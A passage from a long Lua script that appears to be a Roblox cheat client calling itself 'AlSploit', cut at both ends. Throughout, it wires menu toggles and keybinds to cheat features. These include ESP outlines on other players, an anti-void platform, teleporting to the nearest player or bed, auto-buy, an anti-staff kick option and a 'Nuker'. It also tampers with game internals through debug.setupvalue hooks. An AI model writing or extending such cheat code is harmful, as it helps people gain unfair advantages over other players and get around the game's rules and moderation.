  4122. end
  4123.  
  4124. if Value == false then
  4125. InstanceUI:Destroy()
  4126. end
  4127. end)
  4128. end)
  4129.  
  4130. task.spawn(function()
  4131. UserInputService.InputBegan:Connect(function(Input)
  4132. if not UserInputService:GetFocusedTextBox() then
  4133. if Input.KeyCode.Name == Settings.AntiStaff.KeyBind then
  4134. Settings.AntiStaff.Value = not Settings.AntiStaff.Value
  4135.  
  4136. if Settings.AntiStaff.Value == true then
  4137. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4138. end
  4139.  
  4140. if Settings.AntiStaff.Value == false then
  4141. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4142. end
  4143. end
  4144. end
  4145. end)
  4146. end)
  4147.  
  4148. task.spawn(function()
  4149. local InstanceUI
  4150. local Value = false
  4151.  
  4152. DropDownButton.Activated:Connect(function()
  4153. Value = not Value
  4154.  
  4155. if Value == true then
  4156. InstanceUI = CreateMiniToggle(UtilityTab, "Kick", Settings.AntiStaff.Kick, LayoutOrder + 2, function(CallBack)
  4157. Settings.AntiStaff.Kick = CallBack
  4158. end)
  4159. end
  4160.  
  4161. if Value == false then
  4162. InstanceUI:Destroy()
  4163. end
  4164. end)
  4165. end)
  4166. end)
  4167.  
  4168. task.spawn(function()
  4169. local AutoBuy, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "AutoBuy", Settings.AutoBuy.Value, function(CallBack)
  4170. Settings.AutoBuy.Value = CallBack
  4171. end)
  4172.  
  4173. task.spawn(function()
  4174. local InstanceUI
  4175. local Value = false
  4176.  
  4177. DropDownButton.Activated:Connect(function()
  4178. Value = not Value
  4179.  
  4180. if Value == true then
  4181. InstanceUI = CreateKeyBind(UtilityTab, Settings.AutoBuy.KeyBind, LayoutOrder + 1, function(CallBack)
  4182. Settings.AutoBuy.KeyBind = CallBack
  4183. end)
  4184. end
  4185.  
  4186. if Value == false then
  4187. InstanceUI:Destroy()
  4188. end
  4189. end)
  4190. end)
  4191.  
  4192. task.spawn(function()
  4193. UserInputService.InputBegan:Connect(function(Input)
  4194. if not UserInputService:GetFocusedTextBox() then
  4195. if Input.KeyCode.Name == Settings.AutoBuy.KeyBind then
  4196. Settings.AutoBuy.Value = not Settings.AutoBuy.Value
  4197.  
  4198. if Settings.AutoBuy.Value == true then
  4199. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4200. end
  4201.  
  4202. if Settings.AutoBuy.Value == false then
  4203. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4204. end
  4205. end
  4206. end
  4207. end)
  4208. end)
  4209. end)
  4210.  
  4211. task.spawn(function()
  4212. local AutoKit, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "AutoKit", Settings.AutoKit.Value, function(CallBack)
  4213. Settings.AutoKit.Value = CallBack
  4214. end)
  4215.  
  4216. task.spawn(function()
  4217. local InstanceUI
  4218. local Value = false
  4219.  
  4220. DropDownButton.Activated:Connect(function()
  4221. Value = not Value
  4222.  
  4223. if Value == true then
  4224. InstanceUI = CreateKeyBind(UtilityTab, Settings.AutoKit.KeyBind, LayoutOrder + 1, function(CallBack)
  4225. Settings.AutoKit.KeyBind = CallBack
  4226. end)
  4227. end
  4228.  
  4229. if Value == false then
  4230. InstanceUI:Destroy()
  4231. end
  4232. end)
  4233. end)
  4234.  
  4235. task.spawn(function()
  4236. UserInputService.InputBegan:Connect(function(Input)
  4237. if not UserInputService:GetFocusedTextBox() then
  4238. if Input.KeyCode.Name == Settings.AutoKit.KeyBind then
  4239. Settings.AutoKit.Value = not Settings.AutoKit.Value
  4240.  
  4241. if Settings.AutoKit.Value == true then
  4242. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4243. end
  4244.  
  4245. if Settings.AutoKit.Value == false then
  4246. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4247. end
  4248. end
  4249. end
  4250. end)
  4251. end)
  4252. end)
  4253.  
  4254. task.spawn(function()
  4255. local Fov, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "Fov", Settings.Fov.Value, function(CallBack)
  4256. Settings.Fov.Value = CallBack
  4257.  
  4258. if Settings.Fov.Value == true and KnitGotten == true then
  4259. FovController:setFOV(Settings.Fov.Fov)
  4260. end
  4261.  
  4262. if Settings.Fov.Value == false and KnitGotten == true then
  4263. FovController:setFOV(ClientHandlerStore:getState().Settings.fov)
  4264. end
  4265. end)
  4266.  
  4267. task.spawn(function()
  4268. local InstanceUI
  4269. local Value = false
  4270.  
  4271. DropDownButton.Activated:Connect(function()
  4272. Value = not Value
  4273.  
  4274. if Value == true then
  4275. InstanceUI = CreateKeyBind(UtilityTab, Settings.Fov.KeyBind, LayoutOrder + 1, function(CallBack)
  4276. Settings.Fov.KeyBind = CallBack
  4277. end)
  4278. end
  4279.  
  4280. if Value == false then
  4281. InstanceUI:Destroy()
  4282. end
  4283. end)
  4284. end)
  4285.  
  4286. task.spawn(function()
  4287. UserInputService.InputBegan:Connect(function(Input)
  4288. if not UserInputService:GetFocusedTextBox() then
  4289. if Input.KeyCode.Name == Settings.Fov.KeyBind then
  4290. Settings.Fov.Value = not Settings.Fov.Value
  4291.  
  4292. if Settings.Fov.Value == true then
  4293. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4294. end
  4295.  
  4296. if Settings.Fov.Value == false then
  4297. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4298. end
  4299. end
  4300. end
  4301. end)
  4302. end)
  4303.  
  4304. task.spawn(function()
  4305. local InstanceUI
  4306. local Value = false
  4307.  
  4308. DropDownButton.Activated:Connect(function()
  4309. Value = not Value
  4310.  
  4311. if Value == true then
  4312. InstanceUI = CreateSlider(UtilityTab, "Fov", Settings.Fov.Fov, 120, LayoutOrder + 2, function(CallBack)
  4313. Settings.Fov.Fov = CallBack
  4314.  
  4315. if Settings.Fov.Value == true and KnitGotten == true then
  4316. FovController:setFOV(Settings.Fov.Fov)
  4317. end
  4318. end)
  4319. end
  4320.  
  4321. if Value == false then
  4322. InstanceUI:Destroy()
  4323. end
  4324. end)
  4325. end)
  4326. end)
  4327.  
  4328. task.spawn(function()
  4329. local Esp, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "Esp", Settings.Esp.Value, function(CallBack)
  4330. Settings.Esp.Value = CallBack
  4331.  
  4332. if Settings.Esp.Value == true then
  4333. task.spawn(function()
  4334. for i, v in next, PlayerService:GetPlayers() do
  4335. if IsAlive(v) and v ~= LocalPlayer and not v.Character.PrimaryPart:FindFirstChild("Esp") then
  4336. CreateOutline(v)
  4337. end
  4338.  
  4339. v.CharacterAdded:Connect(function(Character)
  4340. task.wait(0.3)
  4341.  
  4342. if Settings.Esp.Value == true and IsAlive(PlayerService:FindFirstChild(Character.Name)) and v ~= LocalPlayer and not v.Character.PrimaryPart:FindFirstChild("Esp") then
  4343. CreateOutline(v)
  4344. end
  4345. end)
  4346. end
  4347. end)
  4348.  
  4349. task.spawn(function()
  4350. PlayerService.PlayerAdded:Connect(function(Player)
  4351. Player.CharacterAdded:Connect(function()
  4352. task.wait(0.3)
  4353.  
  4354. if Settings.Esp.Value == true and IsAlive(Player) and Player ~= LocalPlayer and not Player.Character.PrimaryPart:FindFirstChild("Esp") then
  4355. CreateOutline(Player)
  4356. end
  4357. end)
  4358. end)
  4359. end)
  4360. end
  4361.  
  4362. if Settings.Esp.Value == false then
  4363. for i, v in next, PlayerService:GetPlayers() do
  4364. if IsAlive(v) and CallBack == false and v.Character.PrimaryPart:FindFirstChild("Esp") then
  4365. v.Character.PrimaryPart:FindFirstChild("Esp"):Destroy()
  4366. end
  4367. end
  4368. end
  4369. end)
  4370.  
  4371. task.spawn(function()
  4372. local InstanceUI
  4373. local Value = false
  4374.  
  4375. DropDownButton.Activated:Connect(function()
  4376. Value = not Value
  4377.  
  4378. if Value == true then
  4379. InstanceUI = CreateKeyBind(UtilityTab, Settings.Esp.KeyBind, LayoutOrder + 1, function(CallBack)
  4380. Settings.Esp.KeyBind = CallBack
  4381. end)
  4382. end
  4383.  
  4384. if Value == false then
  4385. InstanceUI:Destroy()
  4386. end
  4387. end)
  4388. end)
  4389.  
  4390. task.spawn(function()
  4391. UserInputService.InputBegan:Connect(function(Input)
  4392. if not UserInputService:GetFocusedTextBox() then
  4393. if Input.KeyCode.Name == Settings.Esp.KeyBind then
  4394. Settings.Esp.Value = not Settings.Esp.Value
  4395.  
  4396. if Settings.Esp.Value == true then
  4397. task.spawn(function()
  4398. for i, v in next, PlayerService:GetPlayers() do
  4399. if IsAlive(v) and v ~= LocalPlayer and not v.Character.PrimaryPart:FindFirstChild("Esp") then
  4400. CreateOutline(v)
  4401. end
  4402.  
  4403. v.CharacterAdded:Connect(function(Character)
  4404. task.wait(0.3)
  4405.  
  4406. if Settings.Esp.Value == true and IsAlive(PlayerService:FindFirstChild(Character.Name)) and v ~= LocalPlayer and not v.Character.PrimaryPart:FindFirstChild("Esp") then
  4407. CreateOutline(v)
  4408. end
  4409. end)
  4410. end
  4411. end)
  4412.  
  4413. task.spawn(function()
  4414. PlayerService.PlayerAdded:Connect(function(Player)
  4415. Player.CharacterAdded:Connect(function()
  4416. task.wait(0.3)
  4417.  
  4418. if Settings.Esp.Value == true and IsAlive(Player) and Player ~= LocalPlayer and not Player.Character.PrimaryPart:FindFirstChild("Esp") then
  4419. CreateOutline(Player)
  4420. end
  4421. end)
  4422. end)
  4423. end)
  4424.  
  4425. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4426. end
  4427.  
  4428. if Settings.Esp.Value == false then
  4429. task.spawn(function()
  4430. for i, v in next, PlayerService:GetPlayers() do
  4431. if IsAlive(v) and v.Character.PrimaryPart:FindFirstChild("Esp") then
  4432. v.Character.PrimaryPart:FindFirstChild("Esp"):Destroy()
  4433. end
  4434. end
  4435. end)
  4436.  
  4437. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4438. end
  4439. end
  4440. end
  4441. end)
  4442. end)
  4443. end)
  4444.  
  4445. task.spawn(function()
  4446. local GalaxySky, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "GalaxySky", Settings.GalaxySky.Value, function(CallBack)
  4447. Settings.GalaxySky.Value = CallBack
  4448.  
  4449. if Settings.GalaxySky.Value == true then
  4450. if LightingService:FindFirstChild("Sky") and Settings.GalaxySky.Value == true then
  4451. LightingService.Sky.Parent = ReplicatedStorage
  4452.  
  4453. local Sky = Instance.new("Sky")
  4454. local ID = 8281961896
  4455.  
  4456. Sky.SkyboxBk = "http://www.roblox.com/asset/?id=" .. ID
  4457. Sky.SkyboxDn = "http://www.roblox.com/asset/?id=" .. ID
  4458. Sky.SkyboxFt = "http://www.roblox.com/asset/?id=" .. ID
  4459. Sky.SkyboxLf = "http://www.roblox.com/asset/?id=" .. ID
  4460. Sky.SkyboxRt = "http://www.roblox.com/asset/?id=" .. ID
  4461. Sky.SkyboxUp = "http://www.roblox.com/asset/?id=" .. ID
  4462.  
  4463. Sky.Parent = LightingService
  4464. end
  4465. end
  4466.  
  4467. if Settings.GalaxySky.Value == false then
  4468. if ReplicatedStorage:FindFirstChild("Sky") and LightingService:FindFirstChild("Sky") and Settings.GalaxySky.Value == false then
  4469. LightingService.Sky:Destroy()
  4470.  
  4471. ReplicatedStorage.Sky.Parent = LightingService
  4472. end
  4473. end
  4474. end)
  4475.  
  4476. task.spawn(function()
  4477. local InstanceUI
  4478. local Value = false
  4479.  
  4480. DropDownButton.Activated:Connect(function()
  4481. Value = not Value
  4482.  
  4483. if Value == true then
  4484. InstanceUI = CreateKeyBind(WorldTab, Settings.GalaxySky.KeyBind, LayoutOrder + 1, function(CallBack)
  4485. Settings.GalaxySky.KeyBind = CallBack
  4486. end)
  4487. end
  4488.  
  4489. if Value == false then
  4490. InstanceUI:Destroy()
  4491. end
  4492. end)
  4493. end)
  4494.  
  4495. task.spawn(function()
  4496. UserInputService.InputBegan:Connect(function(Input)
  4497. if not UserInputService:GetFocusedTextBox() then
  4498. if Input.KeyCode.Name == Settings.GalaxySky.KeyBind then
  4499. Settings.GalaxySky.Value = not Settings.GalaxySky.Value
  4500.  
  4501. if Settings.GalaxySky.Value == true then
  4502. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4503. end
  4504.  
  4505. if Settings.GalaxySky.Value == false then
  4506. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4507. end
  4508. end
  4509. end
  4510. end)
  4511. end)
  4512. end)
  4513.  
  4514. task.spawn(function()
  4515. local Indicators, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "Indicators", Settings.Indicators.Value, function(CallBack)
  4516. Settings.Indicators.Value = CallBack
  4517.  
  4518. task.spawn(function()
  4519. local OldObj = debug.getupvalue(DamageIndicator, 10)
  4520.  
  4521. if Settings.Indicators.Value == true then
  4522. local Messages = {"AlSploit", "Best Client", ":D", "💀"}
  4523.  
  4524. debug.setupvalue(DamageIndicator, 10, {
  4525. Create = function(self, obj, ...)
  4526. task.spawn(function()
  4527. if Settings.Indicators.Value == true then
  4528. local Message = Messages[math.random(#Messages)]
  4529.  
  4530. obj.Parent.Text = Message
  4531. obj.Parent.TextColor3 = Color3.fromHSV(tick() % 10 / 10, 2, 2)
  4532.  
  4533. task.spawn(function()
  4534. task.wait(0.75)
  4535.  
  4536. if Settings.Indicators.Value == true then
  4537. obj.Parent:Destroy()
  4538. end
  4539. end)
  4540. end
  4541. end)
  4542. end
  4543. })
  4544. end
  4545.  
  4546. if Settings.Indicators.Value == false then
  4547. debug.setupvalue(DamageIndicator, 10, {
  4548. Create = function(self, obj, ...)
  4549. obj = OldObj
  4550.  
  4551. task.spawn(function()
  4552. task.wait(0.5)
  4553. obj.Parent:Destroy()
  4554. end)
  4555. end
  4556. })
  4557. end
  4558. end)
  4559. end)
  4560.  
  4561. task.spawn(function()
  4562. local InstanceUI
  4563. local Value = false
  4564.  
  4565. DropDownButton.Activated:Connect(function()
  4566. Value = not Value
  4567.  
  4568. if Value == true then
  4569. InstanceUI = CreateKeyBind(WorldTab, Settings.Indicators.KeyBind, LayoutOrder + 1, function(CallBack)
  4570. Settings.Indicators.KeyBind = CallBack
  4571. end)
  4572. end
  4573.  
  4574. if Value == false then
  4575. InstanceUI:Destroy()
  4576. end
  4577. end)
  4578. end)
  4579.  
  4580. task.spawn(function()
  4581. UserInputService.InputBegan:Connect(function(Input)
  4582. if not UserInputService:GetFocusedTextBox() then
  4583. if Input.KeyCode.Name == Settings.Indicators.KeyBind then
  4584. Settings.Indicators.Value = not Settings.Indicators.Value
  4585.  
  4586. if Settings.Indicators.Value == true then
  4587. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4588. end
  4589.  
  4590. if Settings.Indicators.Value == false then
  4591. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4592. end
  4593. end
  4594. end
  4595. end)
  4596. end)
  4597. end)
  4598.  
  4599. task.spawn(function()
  4600. local AntiVoid, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "AntiVoid", Settings.AntiVoid.Value, function(CallBack)
  4601. Settings.AntiVoid.Value = CallBack
  4602.  
  4603. if Settings.AntiVoid.Value == true then
  4604. task.spawn(function()
  4605. repeat task.wait() until GetMatchState() ~= 0
  4606.  
  4607. task.wait(0.3)
  4608.  
  4609. local OldLowestPosition = math.huge
  4610. local LowestPosition = 99999
  4611.  
  4612. local BlockRaycastParameters = RaycastParams.new()
  4613.  
  4614. BlockRaycastParameters.FilterType = Enum.RaycastFilterType.Include
  4615. BlockRaycastParameters.FilterDescendantsInstances = CollectionService:GetTagged("block")
  4616.  
  4617. AntiVoidPart = Instance.new("Part")
  4618. AntiVoidPart.Parent = WorkSpace
  4619. AntiVoidPart.Material = Enum.Material.Neon
  4620. AntiVoidPart.Name = "AntiVoidPart"
  4621. AntiVoidPart.Size = Vector3.new(99999, 1, 99999)
  4622. AntiVoidPart.Position = Vector3.new(0, 99999, 0)
  4623. AntiVoidPart.Transparency = Settings.AntiVoid.Transparency
  4624. AntiVoidPart.Color = Color3.new(0.666667, 0, 1)
  4625. AntiVoidPart.CanCollide = false
  4626. AntiVoidPart.Anchored = true
  4627.  
  4628. for i, v in next, CollectionService:GetTagged("block") do
  4629. local NewRay = WorkSpace:Raycast(v.Position + Vector3.new(0, 800, 0), Vector3.new(0, -1000, 0), BlockRaycastParameters)
  4630.  
  4631. if NewRay then
  4632. LowestPosition = NewRay.Position.Y
  4633. if LowestPosition < OldLowestPosition then
  4634. OldLowestPosition = LowestPosition
  4635.  
  4636. AntiVoidPart.Position = Vector3.new(0, LowestPosition - 4, 0)
  4637. end
  4638. end
  4639. end
  4640.  
  4641. AntiVoidPart.Touched:Connect(function()
  4642. if IsAlive(LocalPlayer) and AntiVoidPart and LocalPlayer.Character.PrimaryPart.Position.Y <= WorkSpace.AntiVoidPart.Position.Y then
  4643. for i = 1, 3 do
  4644. if IsAlive(LocalPlayer) then
  4645. LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(LocalPlayer.Character.PrimaryPart.Velocity.X, 100, LocalPlayer.Character.PrimaryPart.Velocity.Z)
  4646. end
  4647. end
  4648. end
  4649. end)
  4650. end)
  4651. end
  4652.  
  4653. if Settings.AntiVoid.Value == false then
  4654. if AntiVoidPart then
  4655. AntiVoidPart:Destroy()
  4656. end
  4657. end
  4658. end)
  4659.  
  4660. task.spawn(function()
  4661. local InstanceUI
  4662. local Value = false
  4663.  
  4664. DropDownButton.Activated:Connect(function()
  4665. Value = not Value
  4666.  
  4667. if Value == true then
  4668. InstanceUI = CreateKeyBind(WorldTab, Settings.AntiVoid.KeyBind, LayoutOrder + 1, function(CallBack)
  4669. Settings.AntiVoid.KeyBind = CallBack
  4670. end)
  4671. end
  4672.  
  4673. if Value == false then
  4674. InstanceUI:Destroy()
  4675. end
  4676. end)
  4677. end)
  4678.  
  4679. task.spawn(function()
  4680. UserInputService.InputBegan:Connect(function(Input)
  4681. if not UserInputService:GetFocusedTextBox() then
  4682. if Input.KeyCode.Name == Settings.AntiVoid.KeyBind then
  4683. Settings.AntiVoid.Value = not Settings.AntiVoid.Value
  4684.  
  4685. if Settings.AntiVoid.Value == true then
  4686. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4687. end
  4688.  
  4689. if Settings.AntiVoid.Value == false then
  4690. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4691. end
  4692. end
  4693. end
  4694. end)
  4695. end)
  4696.  
  4697. task.spawn(function()
  4698. local InstanceUI
  4699. local Value = false
  4700.  
  4701. DropDownButton.Activated:Connect(function()
  4702. Value = not Value
  4703.  
  4704. if Value == true then
  4705. InstanceUI = CreateSlider(WorldTab, "Transparency", Settings.AntiVoid.Transparency * 100, 100, LayoutOrder + 2, function(CallBack)
  4706. Settings.AntiVoid.Transparency = CallBack / 100
  4707.  
  4708. task.spawn(function()
  4709. if AntiVoidPart then
  4710. AntiVoidPart.Transparency = Settings.AntiVoid.Transparency
  4711. end
  4712. end)
  4713. end)
  4714. end
  4715.  
  4716. if Value == false then
  4717. InstanceUI:Destroy()
  4718. end
  4719. end)
  4720. end)
  4721. end)
  4722.  
  4723. task.spawn(function()
  4724. local PlayerTp, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "PlayerTp", Settings.PlayerTp.Value, function(CallBack)
  4725. Settings.PlayerTp.Value = CallBack
  4726.  
  4727. task.spawn(function()
  4728. if Settings.PlayerTp.Value == true then
  4729. if IsAlive(LocalPlayer) then
  4730. repeat task.wait() until GetMatchState() ~= 0
  4731.  
  4732. local NearestPlayer = FindNearestPlayer()
  4733.  
  4734. if NearestPlayer ~= nil then
  4735. KillHumanoid()
  4736.  
  4737. LocalPlayer.CharacterAdded:Connect(function()
  4738. repeat task.wait() until IsAlive(LocalPlayer)
  4739.  
  4740. if IsAlive(LocalPlayer) and Settings.PlayerTp.Value == true then
  4741. task.wait(0.15)
  4742.  
  4743. TweenToNearestPlayer()
  4744. end
  4745. end)
  4746. end
  4747. end
  4748.  
  4749. if not IsAlive(LocalPlayer) then
  4750. LocalPlayer.CharacterAdded:Connect(function()
  4751. repeat task.wait() until IsAlive(LocalPlayer)
  4752.  
  4753. if IsAlive(LocalPlayer) and Settings.PlayerTp.Value == true and FindNearestPlayer() then
  4754. task.wait(0.25)
  4755.  
  4756. TweenToNearestPlayer()
  4757. end
  4758. end)
  4759. end
  4760. end
  4761. end)
  4762. end)
  4763.  
  4764. task.spawn(function()
  4765. local InstanceUI
  4766. local Value = false
  4767.  
  4768. DropDownButton.Activated:Connect(function()
  4769. Value = not Value
  4770.  
  4771. if Value == true then
  4772. InstanceUI = CreateKeyBind(WorldTab, Settings.PlayerTp.KeyBind, LayoutOrder + 1, function(CallBack)
  4773. Settings.PlayerTp.KeyBind = CallBack
  4774. end)
  4775. end
  4776.  
  4777. if Value == false then
  4778. InstanceUI:Destroy()
  4779. end
  4780. end)
  4781. end)
  4782.  
  4783. task.spawn(function()
  4784. UserInputService.InputBegan:Connect(function(Input)
  4785. if not UserInputService:GetFocusedTextBox() then
  4786. if Input.KeyCode.Name == Settings.PlayerTp.KeyBind then
  4787. Settings.PlayerTp.Value = not Settings.PlayerTp.Value
  4788.  
  4789. if Settings.PlayerTp.Value == true then
  4790. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4791. end
  4792.  
  4793. if Settings.PlayerTp.Value == false then
  4794. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4795. end
  4796. end
  4797. end
  4798. end)
  4799. end)
  4800. end)
  4801.  
  4802. task.spawn(function()
  4803. local BedTp, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "BedTp", Settings.BedTp.Value, function(CallBack)
  4804. Settings.BedTp.Value = CallBack
  4805.  
  4806. task.spawn(function()
  4807. if Settings.BedTp.Value == true then
  4808. if IsAlive(LocalPlayer) then
  4809. repeat task.wait() until GetMatchState() ~= 0
  4810.  
  4811. local NearestPlayer = FindNearestPlayer()
  4812.  
  4813. if NearestPlayer ~= nil then
  4814. KillHumanoid()
  4815.  
  4816. LocalPlayer.CharacterAdded:Connect(function()
  4817. repeat task.wait() until IsAlive(LocalPlayer)
  4818.  
  4819. if IsAlive(LocalPlayer) and Settings.BedTp.Value == true then
  4820. task.wait(0.15)
  4821.  
  4822. TweenToNearestBed()
  4823. end
  4824. end)
  4825. end
  4826. end
  4827.  
  4828. if not IsAlive(LocalPlayer) then
  4829. LocalPlayer.CharacterAdded:Connect(function()
  4830. repeat task.wait() until IsAlive(LocalPlayer)
  4831.  
  4832. if IsAlive(LocalPlayer) and Settings.BedTp.Value == true and FindNearestPlayer() then
  4833. task.wait(0.25)
  4834.  
  4835. TweenToNearestBed()
  4836. end
  4837. end)
  4838. end
  4839. end
  4840. end)
  4841. end)
  4842.  
  4843. task.spawn(function()
  4844. local InstanceUI
  4845. local Value = false
  4846.  
  4847. DropDownButton.Activated:Connect(function()
  4848. Value = not Value
  4849.  
  4850. if Value == true then
  4851. InstanceUI = CreateKeyBind(WorldTab, Settings.BedTp.KeyBind, LayoutOrder + 1, function(CallBack)
  4852. Settings.BedTp.KeyBind = CallBack
  4853. end)
  4854. end
  4855.  
  4856. if Value == false then
  4857. InstanceUI:Destroy()
  4858. end
  4859. end)
  4860. end)
  4861.  
  4862. task.spawn(function()
  4863. UserInputService.InputBegan:Connect(function(Input)
  4864. if not UserInputService:GetFocusedTextBox() then
  4865. if Input.KeyCode.Name == Settings.BedTp.KeyBind then
  4866. Settings.BedTp.Value = not Settings.BedTp.Value
  4867.  
  4868. if Settings.BedTp.Value == true then
  4869. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4870. end
  4871.  
  4872. if Settings.BedTp.Value == false then
  4873. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4874. end
  4875. end
  4876. end
  4877. end)
  4878. end)
  4879. end)
  4880.  
  4881. task.spawn(function()
  4882. local Sigma, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "Sigma", Settings.Sigma.Value, function(CallBack)
  4883. Settings.Sigma.Value = CallBack
  4884.  
  4885. if Settings.Sigma.Value == true then
  4886. task.spawn(function()
  4887. if IsAlive(LocalPlayer) and Settings.Cape.Value == true and LocalPlayer.Character:FindFirstChild("Cape"):FindFirstChild("Decal") then
  4888. LocalPlayer.Character:FindFirstChild("Cape"):FindFirstChild("Decal").Texture = "rbxassetid://" .. 13528140280
  4889. end
  4890. end)
  4891. end
  4892.  
  4893. if Settings.Sigma.Value == false then
  4894. task.spawn(function()
  4895. if IsAlive(LocalPlayer) and Settings.Cape.Value == true and LocalPlayer.Character:FindFirstChild("Cape"):FindFirstChild("Decal") then
  4896. LocalPlayer.Character:FindFirstChild("Cape"):FindFirstChild("Decal").Texture = "rbxassetid://" .. 16223063079
  4897. end
  4898. end)
  4899. end
  4900. end)
  4901.  
  4902. task.spawn(function()
  4903. local InstanceUI
  4904. local Value = false
  4905.  
  4906. DropDownButton.Activated:Connect(function()
  4907. Value = not Value
  4908.  
  4909. if Value == true then
  4910. InstanceUI = CreateKeyBind(WorldTab, Settings.Sigma.KeyBind, LayoutOrder + 1, function(CallBack)
  4911. Settings.Sigma.KeyBind = CallBack
  4912. end)
  4913. end
  4914.  
  4915. if Value == false then
  4916. InstanceUI:Destroy()
  4917. end
  4918. end)
  4919. end)
  4920.  
  4921. task.spawn(function()
  4922. UserInputService.InputBegan:Connect(function(Input)
  4923. if not UserInputService:GetFocusedTextBox() then
  4924. if Input.KeyCode.Name == Settings.Sigma.KeyBind then
  4925. Settings.Sigma.Value = not Settings.Sigma.Value
  4926.  
  4927. if Settings.Sigma.Value == true then
  4928. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4929. end
  4930.  
  4931. if Settings.Sigma.Value == false then
  4932. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4933. end
  4934. end
  4935. end
  4936. end)
  4937. end)
  4938. end)
  4939.  
  4940. task.spawn(function()
  4941. local Nuker, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "Nuker", Settings.Nuker.Value, function(CallBack)
  4942. Settings.Nuker.Value = CallBack
  4943. end)
  4944.  
  4945. task.spawn(function()
  4946. local InstanceUI
  4947. local Value = false
  4948.  
  4949. DropDownButton.Activated:Connect(function()
  4950. Value = not Value
  4951.  
  4952. if Value == true then
  4953. InstanceUI = CreateKeyBind(WorldTab, Settings.Nuker.KeyBind, LayoutOrder + 1, function(CallBack)
  4954. Settings.Nuker.KeyBind = CallBack
  4955. end)
  4956. end
  4957.  
  4958. if Value == false then
  4959. InstanceUI:Destroy()
  4960. end
  4961. end)
  4962. end)
  4963.  
  4964. task.spawn(function()
  4965. UserInputService.InputBegan:Connect(function(Input)
  4966. if not UserInputService:GetFocusedTextBox() then
  4967. if Input.KeyCode.Name == Settings.Nuker.KeyBind then
